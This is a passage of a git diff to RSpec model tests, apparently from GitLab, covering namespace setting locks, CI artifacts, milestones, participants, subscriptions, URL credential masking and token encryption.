+ end
+
+ it 'does not allow the local value to be saved' do
+ subgroup_settings.delayed_project_removal = nil
+
+ expect { subgroup_settings.save! }
+ .to raise_error(ActiveRecord::RecordInvalid, /Delayed project removal cannot be changed because it is locked by an ancestor/)
+ end
+ end
+ end
+
+ describe '#delayed_project_removal?' do
+ before do
+ subgroup_settings.update!(delayed_project_removal: true)
+ group_settings.update!(lock_delayed_project_removal: true, delayed_project_removal: false)
+
+ subgroup_settings.clear_memoization(:delayed_project_removal)
+ subgroup_settings.clear_memoization(:delayed_project_removal_locked_ancestor)
+ end
+
+ it 'aliases the method when the attribute is a boolean' do
+ expect(subgroup_settings.delayed_project_removal?).to eq(subgroup_settings.delayed_project_removal)
+ end
+ end
+
+ describe '#delayed_project_removal_locked?' do
+ shared_examples 'not locked' do
+ it 'is not locked by an ancestor' do
+ expect(subgroup_settings.delayed_project_removal_locked_by_ancestor?).to eq(false)
+ end
+
+ it 'is not locked by application setting' do
+ expect(subgroup_settings.delayed_project_removal_locked_by_application_setting?).to eq(false)
+ end
+
+ it 'does not return a locked namespace' do
+ expect(subgroup_settings.delayed_project_removal_locked_ancestor).to be_nil
+ end
+ end
+
+ context 'when the feature is disabled' do
+ before do
+ stub_feature_flags(cascading_namespace_settings: false)
+
+ group_settings.update!(delayed_project_removal: true)
+ end
+
+ it_behaves_like 'not locked'
+ end
+
+ context 'when parent does not lock the attribute' do
+ it_behaves_like 'not locked'
+ end
+
+ context 'when parent locks the attribute' do
+ before do
+ group_settings.update!(lock_delayed_project_removal: true, delayed_project_removal: false)
+
+ subgroup_settings.clear_memoization(:delayed_project_removal)
+ subgroup_settings.clear_memoization(:delayed_project_removal_locked_ancestor)
+ end
+
+ it 'is locked by an ancestor' do
+ expect(subgroup_settings.delayed_project_removal_locked_by_ancestor?).to eq(true)
+ end
+
+ it 'is not locked by application setting' do
+ expect(subgroup_settings.delayed_project_removal_locked_by_application_setting?).to eq(false)
+ end
+
+ it 'returns a locked namespace settings object' do
+ expect(subgroup_settings.delayed_project_removal_locked_ancestor.namespace_id).to eq(group_settings.namespace_id)
+ end
+ end
+
+ context 'when not locked by application settings' do
+ before do
+ stub_application_setting(lock_delayed_project_removal: false)
+ end
+
+ it_behaves_like 'not locked'
+ end
+
+ context 'when locked by application settings' do
+ before do
+ stub_application_setting(lock_delayed_project_removal: true)
+ end
+
+ it 'is not locked by an ancestor' do
+ expect(subgroup_settings.delayed_project_removal_locked_by_ancestor?).to eq(false)
+ end
+
+ it 'is locked by application setting' do
+ expect(subgroup_settings.delayed_project_removal_locked_by_application_setting?).to eq(true)
+ end
+
+ it 'does not return a locked namespace' do
+ expect(subgroup_settings.delayed_project_removal_locked_ancestor).to be_nil
+ end
+ end
+ end
+
+ describe '#lock_delayed_project_removal=' do
+ context 'when parent locks the attribute' do
+ before do
+ group_settings.update!(lock_delayed_project_removal: true, delayed_project_removal: false)
+
+ subgroup_settings.clear_memoization(:delayed_project_removal)
+ subgroup_settings.clear_memoization(:delayed_project_removal_locked_ancestor)
+ end
+
+ it 'does not allow the attribute to be saved' do
+ subgroup_settings.lock_delayed_project_removal = true
+
+ expect { subgroup_settings.save! }
+ .to raise_error(ActiveRecord::RecordInvalid, /Lock delayed project removal cannot be changed because it is locked by an ancestor/)
+ end
+ end
+
+ context 'when parent does not lock the attribute' do
+ before do
+ group_settings.update!(lock_delayed_project_removal: false)
+
+ subgroup_settings.lock_delayed_project_removal = true
+ end
+
+ it 'allows the lock to be set when the attribute is not nil' do
+ subgroup_settings.delayed_project_removal = true
+
+ expect(subgroup_settings.save).to eq(true)
+ end
+
+ it 'does not allow the lock to be saved when the attribute is nil' do
+ subgroup_settings.delayed_project_removal = nil
+
+ expect { subgroup_settings.save! }
+ .to raise_error(ActiveRecord::RecordInvalid, /Delayed project removal cannot be nil when locking the attribute/)
+ end
+ end
+
+ context 'when application settings locks the attribute' do
+ before do
+ stub_application_setting(lock_delayed_project_removal: true)
+ end
+
+ it 'does not allow the attribute to be saved' do
+ subgroup_settings.lock_delayed_project_removal = true
+
+ expect { subgroup_settings.save! }
+ .to raise_error(ActiveRecord::RecordInvalid, /Lock delayed project removal cannot be changed because it is locked by an ancestor/)
+ end
+ end
+
+ context 'when application_settings does not lock the attribute' do
+ before do
+ stub_application_setting(lock_delayed_project_removal: false)
+ end
+
+ it 'allows the attribute to be saved' do
+ subgroup_settings.delayed_project_removal = true
+ subgroup_settings.lock_delayed_project_removal = true
+
+ expect(subgroup_settings.save).to eq(true)
+ end
+ end
+ end
+
+ describe 'after update callback' do
+ before do
+ subgroup_settings.update!(lock_delayed_project_removal: true, delayed_project_removal: false)
+ end
+
+ it 'clears descendant locks' do
+ group_settings.update!(lock_delayed_project_removal: true, delayed_project_removal: true)
+
+ expect(subgroup_settings.reload.lock_delayed_project_removal).to eq(false)
+ end
+ end
+end
diff --git a/spec/models/concerns/ci/artifactable_spec.rb b/spec/models/concerns/ci/artifactable_spec.rb
index ebc838e86a6..62fc689a9ca 100644
--- a/spec/models/concerns/ci/artifactable_spec.rb
+++ b/spec/models/concerns/ci/artifactable_spec.rb
@@ -72,5 +72,33 @@ RSpec.describe Ci::Artifactable do
expect(Ci::JobArtifact.expired(1).order_id_asc).to eq([recently_expired_artifact])
end
end
+
+ describe '.with_files_stored_locally' do
+ it 'returns artifacts stored locally' do
+ expect(Ci::JobArtifact.with_files_stored_locally).to contain_exactly(recently_expired_artifact, later_expired_artifact, not_expired_artifact)
+ end
+ end
+
+ describe '.with_files_stored_remotely' do
+ let(:remote_artifact) { create(:ci_job_artifact, :remote_store) }
+
+ before do
+ stub_artifacts_object_storage
+ end
+
+ it 'returns artifacts stored remotely' do
+ expect(Ci::JobArtifact.with_files_stored_remotely).to contain_exactly(remote_artifact)
+ end
+ end
+
+ describe '.project_id_in' do
+ context 'when artifacts belongs to projects' do
+ let(:project_ids) { [recently_expired_artifact.project.id, not_expired_artifact.project.id, non_existing_record_id] }
+
+ it 'returns artifacts belonging to projects' do
+ expect(Ci::JobArtifact.project_id_in(project_ids)).to contain_exactly(recently_expired_artifact, not_expired_artifact)
+ end
+ end
+ end
end
end
diff --git a/spec/models/concerns/featurable_spec.rb b/spec/models/concerns/featurable_spec.rb
index b550d22f686..295f3523dd5 100644
--- a/spec/models/concerns/featurable_spec.rb
+++ b/spec/models/concerns/featurable_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Featurable do
let_it_be(:user) { create(:user) }
+
let(:project) { create(:project) }
let(:feature_class) { subject.class }
let(:features) { feature_class::FEATURES }
@@ -163,7 +164,7 @@ RSpec.describe Featurable do
end
def update_all_project_features(project, features, value)
- project_feature_attributes = features.map { |f| ["#{f}_access_level", value] }.to_h
+ project_feature_attributes = features.to_h { |f| ["#{f}_access_level", value] }
project.project_feature.update!(project_feature_attributes)
end
end
diff --git a/spec/models/concerns/has_timelogs_report_spec.rb b/spec/models/concerns/has_timelogs_report_spec.rb
new file mode 100644
index 00000000000..f694fc350ee
--- /dev/null
+++ b/spec/models/concerns/has_timelogs_report_spec.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe HasTimelogsReport do
+ let(:user) { create(:user) }
+ let(:group) { create(:group) }
+ let(:issue) { create(:issue, project: create(:project, :public, group: group)) }
+
+ describe '#timelogs' do
+ let!(:timelog1) { create_timelog(15.days.ago) }
+ let!(:timelog2) { create_timelog(10.days.ago) }
+ let!(:timelog3) { create_timelog(5.days.ago) }
+ let(:start_time) { 20.days.ago }
+ let(:end_time) { 8.days.ago }
+
+ before do
+ group.add_developer(user)
+ end
+
+ it 'returns collection of timelogs between given times' do
+ expect(group.timelogs(start_time, end_time).to_a).to match_array([timelog1, timelog2])
+ end
+
+ it 'returns empty collection if times are not present' do
+ expect(group.timelogs(nil, nil)).to be_empty
+ end
+
+ it 'returns empty collection if time range is invalid' do
+ expect(group.timelogs(end_time, start_time)).to be_empty
+ end
+ end
+
+ describe '#user_can_access_group_timelogs?' do
+ it 'returns true if user can access group timelogs' do
+ group.add_developer(user)
+
+ expect(group).to be_user_can_access_group_timelogs(user)
+ end
+
+ it 'returns false if user has insufficient permissions' do
+ group.add_guest(user)
+
+ expect(group).not_to be_user_can_access_group_timelogs(user)
+ end
+ end
+
+ def create_timelog(time)
+ create(:timelog, issue: issue, user: user, spent_at: time)
+ end
+end
diff --git a/spec/models/concerns/issuable_spec.rb b/spec/models/concerns/issuable_spec.rb
index 3545c8e9686..14db9b530db 100644
--- a/spec/models/concerns/issuable_spec.rb
+++ b/spec/models/concerns/issuable_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe Issuable do
it { is_expected.to belong_to(:project) }
it { is_expected.to belong_to(:author) }
it { is_expected.to have_many(:notes).dependent(:destroy) }
- it { is_expected.to have_many(:todos).dependent(:destroy) }
+ it { is_expected.to have_many(:todos) }
it { is_expected.to have_many(:labels) }
it { is_expected.to have_many(:note_authors).through(:notes) }
@@ -65,6 +65,23 @@ RSpec.describe Issuable do
it { expect(issuable_class).to respond_to(:opened) }
it { expect(issuable_class).to respond_to(:closed) }
it { expect(issuable_class).to respond_to(:assigned) }
+
+ describe '.includes_for_bulk_update' do
+ before do
+ stub_const('Example', Class.new(ActiveRecord::Base))
+
+ Example.class_eval do
+ include Issuable # adds :labels and :metrics, among others
+
+ belongs_to :author
+ has_many :assignees
+ end
+ end
+
+ it 'includes available associations' do
+ expect(Example.includes_for_bulk_update.includes_values).to eq([:author, :assignees, :labels, :metrics])
+ end
+ end
end
describe 'author_name' do
@@ -380,7 +397,7 @@ RSpec.describe Issuable do
context 'user is a participant in the issue' do
before do
- allow(issue).to receive(:participants).with(user).and_return([user])
+ allow(issue).to receive(:participant?).with(user).and_return(true)
end
it 'returns false when no subcription exists' do
diff --git a/spec/models/concerns/milestoneable_spec.rb b/spec/models/concerns/milestoneable_spec.rb
index 5fb3b39f734..961eac4710d 100644
--- a/spec/models/concerns/milestoneable_spec.rb
+++ b/spec/models/concerns/milestoneable_spec.rb
@@ -50,13 +50,13 @@ RSpec.describe Milestoneable do
it 'returns true with a milestone from the issue project' do
milestone = create(:milestone, project: project)
- expect(build_milestoneable(milestone.id).milestone_available?).to be_truthy
+ expect(build_milestoneable(milestone.id).milestone_available?).to be(true)
end
it 'returns true with a milestone from the issue project group' do
milestone = create(:milestone, group: group)
- expect(build_milestoneable(milestone.id).milestone_available?).to be_truthy
+ expect(build_milestoneable(milestone.id).milestone_available?).to be(true)
end
it 'returns true with a milestone from the the parent of the issue project group' do
@@ -64,19 +64,23 @@ RSpec.describe Milestoneable do
group.update!(parent: parent)
milestone = create(:milestone, group: parent)
- expect(build_milestoneable(milestone.id).milestone_available?).to be_truthy
+ expect(build_milestoneable(milestone.id).milestone_available?).to be(true)
+ end
+
+ it 'returns true with a blank milestone' do
+ expect(build_milestoneable('').milestone_available?).to be(true)
end
it 'returns false with a milestone from another project' do
milestone = create(:milestone)
- expect(build_milestoneable(milestone.id).milestone_available?).to be_falsey
+ expect(build_milestoneable(milestone.id).milestone_available?).to be(false)
end
it 'returns false with a milestone from another group' do
milestone = create(:milestone, group: create(:group))
- expect(build_milestoneable(milestone.id).milestone_available?).to be_falsey
+ expect(build_milestoneable(milestone.id).milestone_available?).to be(false)
end
end
end
diff --git a/spec/models/concerns/milestoneish_spec.rb b/spec/models/concerns/milestoneish_spec.rb
index 3b8fc465421..46a876f34e9 100644
--- a/spec/models/concerns/milestoneish_spec.rb
+++ b/spec/models/concerns/milestoneish_spec.rb
@@ -2,30 +2,28 @@
require 'spec_helper'
-RSpec.describe Milestone, 'Milestoneish' do
- let(:author) { create(:user) }
- let(:assignee) { create(:user) }
- let(:non_member) { create(:user) }
- let(:member) { create(:user) }
- let(:guest) { create(:user) }
- let(:admin) { create(:admin) }
- let(:project) { create(:project, :public) }
- let(:milestone) { create(:milestone, project: project) }
- let(:label1) { create(:label, project: project) }
- let(:label2) { create(:label, project: project) }
- let!(:issue) { create(:issue, project: project, milestone: milestone, assignees: [member], labels: [label1]) }
- let!(:security_issue_1) { create(:issue, :confidential, project: project, author: author, milestone: milestone, labels: [label2]) }
- let!(:security_issue_2) { create(:issue, :confidential, project: project, assignees: [assignee], milestone: milestone) }
- let!(:closed_issue_1) { create(:issue, :closed, project: project, milestone: milestone) }
- let!(:closed_issue_2) { create(:issue, :closed, project: project, milestone: milestone) }
- let!(:closed_security_issue_1) { create(:issue, :confidential, :closed, project: project, author: author, milestone: milestone) }
- let!(:closed_security_issue_2) { create(:issue, :confidential, :closed, project: project, assignees: [assignee], milestone: milestone) }
- let!(:closed_security_issue_3) { create(:issue, :confidential, :closed, project: project, author: author, milestone: milestone) }
- let!(:closed_security_issue_4) { create(:issue, :confidential, :closed, project: project, assignees: [assignee], milestone: milestone) }
- let!(:merge_request) { create(:merge_request, source_project: project, target_project: project, milestone: milestone) }
- let(:label_1) { create(:label, title: 'label_1', project: project, priority: 1) }
- let(:label_2) { create(:label, title: 'label_2', project: project, priority: 2) }
- let(:label_3) { create(:label, title: 'label_3', project: project) }
+RSpec.describe Milestone, 'Milestoneish', factory_default: :keep do
+ let_it_be(:author) { create(:user) }
+ let_it_be(:assignee) { create(:user) }
+ let_it_be(:non_member) { create(:user) }
+ let_it_be(:member) { create(:user) }
+ let_it_be(:guest) { create(:user) }
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:project, reload: true) { create_default(:project, :public, :empty_repo).freeze }
+ let_it_be(:milestone, refind: true) { create_default(:milestone, project: project) }
+ let_it_be(:label1) { create(:label) }
+ let_it_be(:label2) { create(:label) }
+ let_it_be(:issue, reload: true) { create(:issue, milestone: milestone, assignees: [member], labels: [label1]) }
+ let_it_be(:security_issue_1, reload: true) { create(:issue, :confidential, author: author, milestone: milestone, labels: [label2]) }
+ let_it_be(:security_issue_2, reload: true) { create(:issue, :confidential, assignees: [assignee], milestone: milestone) }
+ let_it_be(:closed_issue_1, reload: true) { create(:issue, :closed, milestone: milestone) }
+ let_it_be(:closed_issue_2, reload: true) { create(:issue, :closed, milestone: milestone) }
+ let_it_be(:closed_security_issue_1, reload: true) { create(:issue, :confidential, :closed, author: author, milestone: milestone) }
+ let_it_be(:closed_security_issue_2, reload: true) { create(:issue, :confidential, :closed, assignees: [assignee], milestone: milestone) }
+ let_it_be(:merge_request) { create(:merge_request, source_project: project, target_project: project, milestone: milestone) }
+ let_it_be(:label_1) { create(:label, title: 'label_1', priority: 1) }
+ let_it_be(:label_2) { create(:label, title: 'label_2', priority: 2) }
+ let_it_be(:label_3) { create(:label, title: 'label_3') }
before do
project.add_developer(member)
@@ -63,7 +61,7 @@ RSpec.describe Milestone, 'Milestoneish' do
end
end
- context 'attributes visibility' do
+ context 'with attributes visibility' do
using RSpec::Parameterized::TableSyntax
let(:users) do
@@ -167,8 +165,6 @@ RSpec.describe Milestone, 'Milestoneish' do
end
describe '#merge_requests_visible_to_user' do
- let(:merge_request) { create(:merge_request, source_project: project, milestone: milestone) }
-
context 'when project is private' do
before do
project.update!(visibility_level: Gitlab::VisibilityLevel::PRIVATE)
@@ -211,10 +207,11 @@ RSpec.describe Milestone, 'Milestoneish' do
end
context 'when milestone is at parent level group' do
- let(:parent_group) { create(:group) }
- let(:group) { create(:group, parent: parent_group) }
- let(:project) { create(:project, namespace: group) }
- let(:milestone) { create(:milestone, group: parent_group) }
+ let_it_be(:parent_group) { create(:group) }
+ let_it_be(:group) { create(:group, parent: parent_group) }
+ let_it_be(:project) { create(:project, :empty_repo, namespace: group) }
+ let_it_be(:milestone) { create(:milestone, group: parent_group) }
+ let_it_be(:merge_request) { create(:merge_request, source_project: project, milestone: milestone) }
it 'does not return any merge request for a non member' do
merge_requests = milestone.merge_requests_visible_to_user(non_member)
@@ -243,7 +240,7 @@ RSpec.describe Milestone, 'Milestoneish' do
end
describe '#percent_complete', :use_clean_rails_memory_store_caching do
- context 'division by zero' do
+ context 'with division by zero' do
let(:new_milestone) { build_stubbed(:milestone) }
it { expect(new_milestone.percent_complete).to eq(0) }
@@ -252,13 +249,19 @@ RSpec.describe Milestone, 'Milestoneish' do
describe '#closed_issues_count' do
it 'counts all closed issues including confidential' do
- expect(milestone.closed_issues_count).to eq 6
+ expect(milestone.closed_issues_count).to eq 4
end
end
describe '#total_issues_count' do
it 'counts all issues including confidential' do
- expect(milestone.total_issues_count).to eq 9
+ expect(milestone.total_issues_count).to eq 7
+ end
+ end
+
+ describe '#total_merge_requests_count' do
+ it 'counts merge requests' do
+ expect(milestone.total_merge_requests_count).to eq 1
end
end
diff --git a/spec/models/concerns/participable_spec.rb b/spec/models/concerns/participable_spec.rb
index 3376e337dc9..903c7ae16b6 100644
--- a/spec/models/concerns/participable_spec.rb
+++ b/spec/models/concerns/participable_spec.rb
@@ -39,11 +39,12 @@ RSpec.describe Participable do
expect(participants).to include(user3)
end
- it 'caches the raw list of participants' do
+ it 'caches the list of filtered participants' do
instance = model.new
user1 = build(:user)
- expect(instance).to receive(:raw_participants).once
+ expect(instance).to receive(:all_participants_hash).once.and_return({})
+ expect(instance).to receive(:filter_by_ability).once
instance.participants(user1)
instance.participants(user1)
@@ -91,5 +92,71 @@ RSpec.describe Participable do
expect(ext_arg).to be_an_instance_of(Gitlab::ReferenceExtractor)
end
end
+
+ context 'participable is a personal snippet' do
+ let(:model) { PersonalSnippet }
+ let(:instance) { model.new(author: user1) }
+
+ let(:user1) { build(:user) }
+ let(:user2) { build(:user) }
+ let(:user3) { build(:user) }
+
+ before do
+ allow(model).to receive(:participant_attrs).and_return([:foo, :bar])
+ end
+
+ it 'returns the list of participants' do
+ expect(instance).to receive(:foo).and_return(user1)
+ expect(instance).to receive(:bar).and_return(user2)
+
+ participants = instance.participants(user1)
+ expect(participants).to contain_exactly(user1)
+ end
+ end
+ end
+
+ describe '#participant?' do
+ let(:instance) { model.new }
+
+ let(:user1) { build(:user) }
+ let(:user2) { build(:user) }
+ let(:user3) { build(:user) }
+ let(:project) { build(:project, :public) }
+
+ before do
+ allow(model).to receive(:participant_attrs).and_return([:foo, :bar])
+ end
+
+ it 'returns whether the user is a participant' do
+ allow(instance).to receive(:foo).and_return(user2)
+ allow(instance).to receive(:bar).and_return(user3)
+ allow(instance).to receive(:project).and_return(project)
+
+ expect(instance.participant?(user1)).to be false
+ expect(instance.participant?(user2)).to be true
+ expect(instance.participant?(user3)).to be true
+ end
+
+ it 'caches the list of raw participants' do
+ expect(instance).to receive(:raw_participants).once.and_return([])
+ expect(instance).to receive(:project).twice.and_return(project)
+
+ instance.participant?(user1)
+ instance.participant?(user1)
+ end
+
+ context 'participable is a personal snippet' do
+ let(:model) { PersonalSnippet }
+ let(:instance) { model.new(author: user1) }
+
+ it 'returns whether the user is a participant' do
+ allow(instance).to receive(:foo).and_return(user1)
+ allow(instance).to receive(:bar).and_return(user2)
+
+ expect(instance.participant?(user1)).to be true
+ expect(instance.participant?(user2)).to be false
+ expect(instance.participant?(user3)).to be false
+ end
+ end
end
end
diff --git a/spec/models/concerns/safe_url_spec.rb b/spec/models/concerns/safe_url_spec.rb
index 3d38c05bf11..c298e56b1b1 100644
--- a/spec/models/concerns/safe_url_spec.rb
+++ b/spec/models/concerns/safe_url_spec.rb
@@ -26,14 +26,16 @@ RSpec.describe SafeUrl do
context 'when URL contains credentials' do
let(:url) { 'http://foo:bar@example.com' }
- it { is_expected.to eq('http://*****:*****@example.com')}
+ it 'masks username and password' do
+ is_expected.to eq('http://*****:*****@example.com')
+ end
- context 'when username is whitelisted' do
- subject { test_class.safe_url(usernames_whitelist: usernames_whitelist) }
+ context 'when username is allowed' do
+ subject { test_class.safe_url(allowed_usernames: usernames) }
- let(:usernames_whitelist) { %w[foo] }
+ let(:usernames) { %w[foo] }
- it 'does expect the whitelisted username not to be masked' do
+ it 'masks the password, but not the username' do
is_expected.to eq('http://foo:*****@example.com')
end
end
diff --git a/spec/models/concerns/sidebars/container_with_html_options_spec.rb b/spec/models/concerns/sidebars/container_with_html_options_spec.rb
new file mode 100644
index 00000000000..c555945e121
--- /dev/null
+++ b/spec/models/concerns/sidebars/container_with_html_options_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::ContainerWithHtmlOptions do
+ subject do
+ Class.new do
+ include Sidebars::ContainerWithHtmlOptions
+
+ def title
+ 'Foo'
+ end
+ end.new
+ end
+
+ describe '#container_html_options' do
+ it 'includes title attribute' do
+ expect(subject.container_html_options).to eq(title: 'Foo')
+ end
+ end
+end
diff --git a/spec/models/concerns/sidebars/positionable_list_spec.rb b/spec/models/concerns/sidebars/positionable_list_spec.rb
new file mode 100644
index 00000000000..231aa5295dd
--- /dev/null
+++ b/spec/models/concerns/sidebars/positionable_list_spec.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Sidebars::PositionableList do
+ subject do
+ Class.new do
+ include Sidebars::PositionableList
+ end.new
+ end
+
+ describe '#add_element' do
+ it 'adds the element to the last position of the list' do
+ list = [1, 2]
+
+ subject.add_element(list, 3)
+
+ expect(list).to eq([1, 2, 3])
+ end
+ end
+
+ describe '#insert_element_before' do
+ let(:user) { build(:user) }
+ let(:list) { [1, user] }
+
+ it 'adds element before the specific element class' do
+ subject.insert_element_before(list, User, 2)
+
+ expect(list).to eq [1, 2, user]
+ end
+
+ context 'when reference element does not exist' do
+ it 'adds the element to the top of the list' do
+ subject.insert_element_before(list, Project, 2)
+
+ expect(list).to eq [2, 1, user]
+ end
+ end
+ end
+
+ describe '#insert_element_after' do
+ let(:user) { build(:user) }
+ let(:list) { [1, user] }
+
+ it 'adds element after the specific element class' do
+ subject.insert_element_after(list, Integer, 2)
+
+ expect(list).to eq [1, 2, user]
+ end
+
+ context 'when reference element does not exist' do
+ it 'adds the element to the end of the list' do
+ subject.insert_element_after(list, Project, 2)
+
+ expect(list).to eq [1, user, 2]
+ end
+ end
+ end
+end
diff --git a/spec/models/concerns/sortable_spec.rb b/spec/models/concerns/sortable_spec.rb
index bbfdaeec64c..cfa00bab025 100644
--- a/spec/models/concerns/sortable_spec.rb
+++ b/spec/models/concerns/sortable_spec.rb
@@ -3,6 +3,31 @@
require 'spec_helper'
RSpec.describe Sortable do
+ describe 'scopes' do
+ describe 'secondary ordering by id' do
+ let(:sorted_relation) { Group.all.order_created_asc }
+
+ def arel_orders(relation)
+ relation.arel.orders
+ end
+
+ it 'allows secondary ordering by id ascending' do
+ orders = arel_orders(sorted_relation.with_order_id_asc)
+
+ expect(orders.map { |arel| arel.expr.name }).to eq(%w(created_at id))
+ expect(orders).to all(be_kind_of(Arel::Nodes::Ascending))
+ end
+
+ it 'allows secondary ordering by id descending' do
+ orders = arel_orders(sorted_relation.with_order_id_desc)
+
+ expect(orders.map { |arel| arel.expr.name }).to eq(%w(created_at id))
+ expect(orders.first).to be_kind_of(Arel::Nodes::Ascending)
+ expect(orders.last).to be_kind_of(Arel::Nodes::Descending)
+ end
+ end
+ end
+
describe '.order_by' do
let(:arel_table) { Group.arel_table }
let(:relation) { Group.all }
diff --git a/spec/models/concerns/subscribable_spec.rb b/spec/models/concerns/subscribable_spec.rb
index 3e52ca5cf63..a60a0a5e26d 100644
--- a/spec/models/concerns/subscribable_spec.rb
+++ b/spec/models/concerns/subscribable_spec.rb
@@ -7,50 +7,54 @@ RSpec.describe Subscribable, 'Subscribable' do
let(:resource) { create(:issue, project: project) }
let(:user_1) { create(:user) }
- describe '#subscribed?' do
+ shared_examples 'returns expected values' do |method|
context 'without user' do
it 'returns false' do
- expect(resource.subscribed?(nil, project)).to be_falsey
+ expect(resource.public_send(method, nil, project)).to be_falsey
end
end
context 'without project' do
it 'returns false when no subscription exists' do
- expect(resource.subscribed?(user_1)).to be_falsey
+ expect(resource.public_send(method, user_1)).to be_falsey
end
- it 'returns true when a subcription exists and subscribed is true' do
+ it 'returns true when a subscription exists and subscribed is true' do
resource.subscriptions.create!(user: user_1, subscribed: true)
- expect(resource.subscribed?(user_1)).to be_truthy
+ expect(resource.public_send(method, user_1)).to be_truthy
end
- it 'returns false when a subcription exists and subscribed is false' do
+ it 'returns false when a subscription exists and subscribed is false' do
resource.subscriptions.create!(user: user_1, subscribed: false)
- expect(resource.subscribed?(user_1)).to be_falsey
+ expect(resource.public_send(method, user_1)).to be_falsey
end
end
context 'with project' do
it 'returns false when no subscription exists' do
- expect(resource.subscribed?(user_1, project)).to be_falsey
+ expect(resource.public_send(method, user_1, project)).to be_falsey
end
- it 'returns true when a subcription exists and subscribed is true' do
+ it 'returns true when a subscription exists and subscribed is true' do
resource.subscriptions.create!(user: user_1, project: project, subscribed: true)
- expect(resource.subscribed?(user_1, project)).to be_truthy
+ expect(resource.public_send(method, user_1, project)).to be_truthy
end
- it 'returns false when a subcription exists and subscribed is false' do
+ it 'returns false when a subscription exists and subscribed is false' do
resource.subscriptions.create!(user: user_1, project: project, subscribed: false)
- expect(resource.subscribed?(user_1, project)).to be_falsey
+ expect(resource.public_send(method, user_1, project)).to be_falsey
end
end
end
+ describe '#subscribed?' do
+ it_behaves_like 'returns expected values', :subscribed?
+ end
+
describe '#subscribers' do
it 'returns [] when no subcribers exists' do
expect(resource.subscribers(project)).to be_empty
@@ -189,4 +193,27 @@ RSpec.describe Subscribable, 'Subscribable' do
it_behaves_like 'setting subscriptions'
end
end
+
+ describe '#lazy_subscription' do
+ let(:labels) { create_list(:group_label, 5) }
+
+ before do
+ labels.each do |label|
+ create(:subscription, :group_label, user: user_1, subscribable: label)
+ end
+ end
+
+ it 'executes only one SQL query' do
+ lazy_queries = ActiveRecord::QueryRecorder.new do
+ labels.each { |label| label.lazy_subscription(user_1) }
+ end
+
+ preloaded_queries = ActiveRecord::QueryRecorder.new do
+ labels.each { |label| label.lazy_subscription(user_1)&.subscribed? }
+ end
+
+ expect(lazy_queries.count).to eq(0)
+ expect(preloaded_queries.count).to eq(1)
+ end
+ end
end
diff --git a/spec/models/concerns/token_authenticatable_spec.rb b/spec/models/concerns/token_authenticatable_spec.rb
index 2df76684d71..4bdb3e0a32a 100644
--- a/spec/models/concerns/token_authenticatable_spec.rb
+++ b/spec/models/concerns/token_authenticatable_spec.rb
@@ -54,7 +54,7 @@ RSpec.describe ApplicationSetting, 'TokenAuthenticatable' do
it 'persists new token as an encrypted string' do
expect(subject).to eq settings.reload.runners_registration_token
expect(settings.read_attribute('runners_registration_token_encrypted'))
- .to eq Gitlab::CryptoHelper.aes256_gcm_encrypt(subject, nonce: Gitlab::CryptoHelper::AES256_GCM_IV_STATIC)
+ .to eq TokenAuthenticatableStrategies::EncryptionHelper.encrypt_token(subject)
expect(settings).to be_persisted
end
@@ -243,7 +243,7 @@ RSpec.describe Ci::Build, 'TokenAuthenticatable' do
it 'persists new token as an encrypted string' do
build.ensure_token!
- encrypted = Gitlab::CryptoHelper.aes256_gcm_encrypt(build.token, nonce: Gitlab::CryptoHelper::AES256_GCM_IV_STATIC)
+ encrypted = TokenAuthenticatableStrategies::EncryptionHelper.encrypt_token(build.token)
expect(build.read_attribute('token_encrypted')).to eq encrypted
end
diff --git a/spec/models/concerns/token_authenticatable_strategies/encrypted_spec.rb b/spec/models/concerns/token_authenticatable_strategies/encrypted_spec.rb
index 1e1cd97e410..b311e302a31 100644
--- a/spec/models/concerns/token_authenticatable_strategies/encrypted_spec.rb
+++ b/spec/models/concerns/token_authenticatable_strategies/encrypted_spec.rb
@@ -7,6 +7,10 @@ RSpec.describe TokenAuthenticatableStrategies::Encrypted do
let(:instance) { double(:instance) }
let(:encrypted) do
+ TokenAuthenticatableStrategies::EncryptionHelper.encrypt_token('my-value')
+ end
+
+ let(:encrypted_with_static_iv) do
Gitlab::CryptoHelper.aes256_gcm_encrypt('my-value')
end
@@ -15,12 +19,25 @@ RSpec.describe TokenAuthenticatableStrategies::Encrypted do
end
describe '#find_token_authenticatable' do
- context 'when using optional strategy' do
+ context 'when encryption is required' do
+ let(:options) { { encrypted: :required } }
+
+ it 'finds the encrypted resource by cleartext' do
+ allow(model).to receive(:find_by)
+ .with('some_field_encrypted' => [encrypted, encrypted_with_static_iv])
+ .and_return('encrypted resource')
+
+ expect(subject.find_token_authenticatable('my-value'))
+ .to eq 'encrypted resource'
+ end
+ end
+
+ context 'when encryption is optional' do
let(:options) { { encrypted: :optional } }
it 'finds the encrypted resource by cleartext' do
allow(model).to receive(:find_by)
- .with('some_field_encrypted' => encrypted)
+ .with('some_field_encrypted' => [encrypted, encrypted_with_static_iv])
.and_return('encrypted resource')
expect(subject.find_token_authenticatable('my-value'))
@@ -33,7 +50,7 @@ RSpec.describe TokenAuthenticatableStrategies::Encrypted do
.and_return('plaintext resource')
allow(model).to receive(:find_by)
- .with('some_field_encrypted' => encrypted)
+ .with('some_field_encrypted' => [encrypted, encrypted_with_static_iv])
.and_return(nil)
expect(subject.find_token_authenticatable('my-value'))
@@ -41,7 +58,7 @@ RSpec.describe TokenAuthenticatableStrategies::Encrypted do
end
end
- context 'when using migration strategy' do
+ context 'when encryption is migrating' do
let(:options) { { encrypted: :migrating } }
it 'finds the cleartext resource by cleartext' do
@@ -65,12 +82,28 @@ RSpec.describe TokenAuthenticatableStrategies::Encrypted do
end
describe '#get_token' do
- context 'when using optional strategy' do
- let(:options) { { encrypted: :optional } }
+ context 'when encryption is required' do
+ let(:options) { { encrypted: :required } }
+
+ it 'returns decrypted token when an encrypted with static iv token is present' do
+ allow(instance).to receive(:read_attribute)
+ .with('some_field_encrypted')
+ .and_return(Gitlab::CryptoHelper.aes256_gcm_encrypt('my-test-value'))
+
+ expect(subject.get_token(instance)).to eq 'my-test-value'
+ end
+
+ it 'returns decrypted token when an encrypted token is present' do
